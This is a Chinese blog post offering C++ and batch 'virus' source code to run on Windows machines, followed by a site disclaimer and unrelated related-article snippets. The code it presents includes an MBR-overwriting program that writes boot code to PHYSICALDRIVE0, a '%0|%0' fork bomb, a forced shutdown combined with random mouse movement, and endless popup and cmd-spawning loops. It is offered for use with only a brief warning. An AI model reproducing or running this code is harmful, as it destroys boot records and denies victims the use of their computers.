超强c++病毒代码(附源码),让你的电脑快快乐乐

news2024/11/25 19:41:06

不想废话,直接看:

让鼠标“鸡飞狗跳”


    
    
  1. #include <windows.h >
  2. #include <bits /stdc + +.h >
  3. using namespace std;
  4. int main()
  5. {
  6. system( "Shutdown -s -t 60");
  7. HWND hwnd;
  8. hwnd =FindWindow( "ConsoleWindowClass", NULL);
  9. if(hwnd) ShowWindow(hwnd,SW_HIDE);
  10. int x =GetSystemMetrics(SM_CXSCREEN);
  11. int y =GetSystemMetrics(SM_CYSCREEN);
  12. srand( time( 0));
  13. while( 1)cout < < "Oh!!!" < <endl & &SetCursorPos(rand()%x,rand()%y);
  14. }

清除MBR,会显示  Fuck you  ^_^ :-(慎用!)


    
    
  1. #include <windows.h >
  2. #include <winioctl.h >
  3. unsigned char scode[] =
  4. "\xb8\x12\x00\xcd\x10\xbd\x18\x7c\xb9\x18\x00\xb8\x01\x13\xbb\x0c"
  5. "\x00\xba\x1d\x0e\xcd\x10\xe2\xfe\x49\x20\x61\x6d\x20\x76\x69\x72"
  6. "\x75\x73\x21\x20\x46\x75\x63\x6b\x20\x79\x6f\x75\x20\x3a\x2d\x29";
  7. / *
  8. 00000000 B 81200 mov ax, 12H ; ah = 0, al = 12h ( 640 * 480)
  9. 00000003 CD 10 int 10h ; 进入图形显示方式,隐藏光标
  10. 00000005 BD 187C mov bp, Msg ; ES:BP = 串地址
  11. 00000008 B 91800 mov cx, 18h ; CX = 串长度
  12. 0000000B B 80113 mov ax, 1301h ; AH = 13, AL = 01h
  13. 0000000E BB 0C 00 mov bx, 000 ch ; 页号为 0(BH = 0) 黑底红字(BL = 0 Ch,高亮)
  14. 00000011 BA 1D 0E mov dx, 0e 1dh ; dh行, dl列
  15. 00000014 CD 10 int 10h ; 10h 号中断
  16. 00000016 E 2FE loop $
  17. Msg: db " Fuck you ^_^ :-)"
  18. * /
  19. int main()
  20. {
  21. HANDLE hDevice;
  22. DWORD dwBytesWritten, dwBytesReturned;
  23. BYTE pMBR[ 512] = { 0 };
  24. / / 重新构造MBR
  25. memcpy(pMBR, scode, sizeof(scode) - 1);
  26. pMBR[ 510] = 0x 55;
  27. pMBR[ 511] = 0xAA;
  28. hDevice = CreateFile
  29. (
  30. L "\\\\.\\PHYSICALDRIVE0",
  31. GENERIC_ READ | GENERIC_ WRITE,
  32. FILE_SHARE_ READ | FILE_SHARE_ WRITE,
  33. NULL,
  34. OPEN_EXISTING,
  35. 0,
  36. NULL
  37. );
  38. if (hDevice = = INVALID_HANDLE_ VALUE)
  39. return - 1;
  40. DeviceIoControl
  41. (
  42. hDevice,
  43. FSCTL_ LOCK_VOLUME,
  44. NULL,
  45. 0,
  46. NULL,
  47. 0,
  48. &dwBytesReturned,
  49. NULL
  50. );
  51. / / 写入病毒内容
  52. WriteFile(hDevice, pMBR, sizeof(pMBR), &dwBytesWritten, NULL);
  53. DeviceIoControl
  54. (
  55. hDevice,
  56. FSCTL_ UNLOCK_VOLUME,
  57. NULL,
  58. 0,
  59. NULL,
  60. 0,
  61. &dwBytesReturned,
  62. NULL
  63. );
  64. CloseHandle(hDevice);
  65. return 0;
  66. }

下一个是耗内存:


    
    
  1. #include <Windows.h >
  2. #include <iostream >
  3. #include <fstream >
  4. using namespace std;
  5. int main()
  6. {
  7. char a[ 9] = "abc.bat";
  8. ofstream file_out(a);
  9. file_out < < "%0|%0";
  10. file_out. close();
  11. system( a );
  12. return 0;
  13. }

相信大家见过无限弹窗

c++


    
    
  1. #include <windows.h>
  2. #pragma comment (lib, "User32.lib")
  3. int WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow){
  4. while( 1){
  5. MessageBox( NULL, TEXT( "关不掉吧!"), TEXT( "中病毒啦~~你这个SB!"), MB_OK); //建立弹窗
  6. }
  7. return 0;
  8. }

bat:


    
    
  1. : start
  2. start cmd
  3. goto start

</article>

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/720869.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

docker 容器中安装mysql服务

一 安装mysql服务 1.1 拉取镜像 1.拉取&#xff1a; docker pull mysql:5.7.29 2.查看镜像&#xff1a; docker images 1.2 在宿主机创建文件存储mysql 1.创建映射目录&#xff1a;mysql-c5 在/root/export/dockertest 目录下&#xff0c;mkdir -p mysql-c5 &#…

百度网盘群组目录导出

下载油猴插件&#xff0c;添加脚本&#xff1a;https://github.com/Avens666/BaidunNetDisk-script 虽然网页版已经更新&#xff0c;但是我发现旧版目录仍在&#xff0c;访问https://pan.baidu.com/mbox/homepage 选择导出目录即可&#xff0c;要等一会&#xff0c;页面可能会…

医疗器械市场行情有目共睹

针对大型医用设备配置&#xff0c;官方的态度正由“保守”转为“鼓励”&#xff0c;这一变化对于市场的重要性不言而喻。6月29日&#xff0c;国家卫健委发布《关于“十四五”大型医用设备配置规划的通知》&#xff08;简称“通知”&#xff09;&#xff0c;公布了“十四五”期间…

计算机网络课程 day1 基本概念-交换机-路由器 计算机网络的参考模型

目录 学习计算机网络课程的目标和意义&#xff1a; 计算机网络的基本概念 常用网络设备&#xff1a; network device 交换机&#xff1a;组建局域网使用的&#xff0c;将很多电脑连接起来&#xff0c;组成一个局域网络&#xff0c;可以一起打游戏/上网 路由器&#xff1a…

计算机组成原理复习总结

文章目录 第一章&#xff1a;计算机系统概述1.1 计算机系统知识点分析存储程序控制冯诺依曼计算机的特点计算机系统组成计算机层级结构 三种语言和三种程序 第一章&#xff1a;计算机系统概述 1.1 计算机系统 知识点分析 存储程序控制 1945年由美籍匈牙利数学家冯诺伊曼提出…

大屏项目也不难

项目环境搭建 使用create-vue初始化项目 npm init vuelatest准备utils模块 业务背景&#xff1a;大屏项目属于后台项目的一个子项目&#xff0c;用户的token是共享的 后台项目 - token - cookie 大屏项目要以同样的方式把token获取到&#xff0c;然后拼接到axios的请求头中…

mac 的vue项目新建并启动访问

mac 安装、配置vue开发环境&新建vue项目并启动访问 一、 安装hbuilderx二、 安装node.js三、 vue 脚手架1、打开终端&#xff0c;以管理员身份运行&#xff1a;2、下载vue的源3、通过cnpm 安装vue脚手架4、启动vue脚手架自带的项目管理器(服务)4.1、创建空的vue项目4.2、安…

scratch 恐龙抓恐龙

scratch 恐龙抓恐龙 本程序有两个角色&#xff0c;绿色“恐龙”生成两个&#xff0c;碰到边缘或另一个时反弹、连续移动、每隔一段时间转到随机方向。红色“恐龙”连续生成、持续移动、碰到边缘反弹、接近绿色恐龙时转向、碰到绿色恐龙时删除。 具体内容如下 绿色恐龙 红色恐…

Robot Framework工具RIDE搜索关键字

RIDE工具 选择“Tools-Search Keywords” 输入搜索内容、选择库&#xff0c;搜索关键字

ts全局类型(interface)

引入全局interface 首先先创建全局类型文件 命名以 xxx.d.ts 结尾 在项目中找到 tsconfig.json 配置文件 在 compilerOptions 下添加typeRoot属性&#xff0c;值为新创建的文件路径。 项目启动的时候就会自动读取该文件。 文件内容 declare xxx {interface xxx {...} } …

正向代理与反向代理:解密网络代理的两种不同姿态

文章目录 正向代理反向代理总结辨析&#xff1a;nginx的双重身份 正向代理 在正向代理中&#xff0c;代理服务器代表客户端向目标服务器发送请求&#xff0c;并将目标服务器的响应返回给客户端。 客户端通常需要配置使用正向代理来访问外部资源&#xff0c;而目标服务器对代理…

React03-props 和 state 详解

一、props 组件传参 1. props 基本使用 我们在使用组件时可以向组件传递数据&#xff0c;在组件内可以使用 props 对象来调用传入的数据。 function Person(props) {return <div><h3>姓名&#xff1a;{props.name}</h3><h3>年龄&#xff1a;{props.…

MySQL原理探索——25 MySQL是怎么保证高可用的

在上一篇文章中&#xff0c;介绍了 binlog 的基本内容&#xff0c;在一个主备关系中&#xff0c;每个备库接收主库的 binlog 并执行。 正常情况下&#xff0c;只要主库执行更新生成的所有 binlog&#xff0c;都可以传到备库并被正确地执行&#xff0c;备库就能达到跟主库一致的…

某嘀APP签名分析

sign解密,为header及data中的key-value拼接,并进行前后和盐值拼接,进行MD5加密; 本章记录定位的算法位置,方便后续观看; demo: # -*- coding: utf-8 -*- # @Author : Codeooo # @Time : 2022-11-23 import hashlib import random

MySQL-分库分表详解(三)

♥️作者&#xff1a;小刘在C站 ♥️个人主页&#xff1a; 小刘主页 ♥️努力不一定有回报&#xff0c;但一定会有收获加油&#xff01;一起努力&#xff0c;共赴美好人生&#xff01; ♥️学习两年总结出的运维经验&#xff0c;以及思科模拟器全套网络实验教程。专栏&#xf…

开始编写Python程序之Python小工具:word转pdf、压缩文件、解压文件、jpg转png

1、下载Python编译器 PyCharm官网下载地址对于个人编程&#xff0c;下载免费版的Community即可 2、创建一个Python项目 Python的最佳实现是为每个项目创建virtualenv。为此&#xff0c;请展开Project Interpreter&#xff1a;New Virtualenv Environment节点&#xff0c;然后…

SSM框架模板(高配:一次性配完所有需要的配置文件)

目录 一、pom.xml文件配置&#xff08;基本不需要修改&#xff09; 二、applicationContex.xml文件的配置。&#xff08;这里只有一个地方需要修改&#xff09; 三、mybatis-config.xml文件配置&#xff08;根据需要修改&#xff09; 四、配置web.xml文件&#xff08;基本不…

Redis实战案例10-优惠券1-全局唯一ID

1. 全局ID生成器 id的规律性明显造成某些信息的泄露&#xff1b; 使用自增ID作为主键会导致一些问题。首先&#xff0c;由于自增ID必须是唯一的&#xff0c;因此当达到最大值时&#xff0c;无法再向表中插入新的数据&#xff0c;这限制了表的数据量。例如&#xff1a;订单如果一…

基本介绍实施工程师,以及实施工程师在软件开发的作用

一.软件实施介绍 1.什么是软件实施&#xff1f; 软件实施是指将软件开发完成后&#xff0c;按照计划进行部署和安装&#xff0c;使软件能够在目标环境中正常运行的过程。下面是软件实施的一般步骤&#xff1a; 1. 规划和准备&#xff1a;确定实施的范围、目标和计划&#xff0…

如何将PNG格式照片转换为JPG格式

如何将PNG格式照片转换为JPG格式 当您需要在网络上共享或存储图像时&#xff0c;将PNG格式的照片转换为JPG格式是一个常见的需求。本文将介绍一些关于将PNG格式照片转换为JPG格式的相关知识。 问题与解决方案 图像质量损失 在将PNG格式照片转换为JPG格式的过程中&#xff0…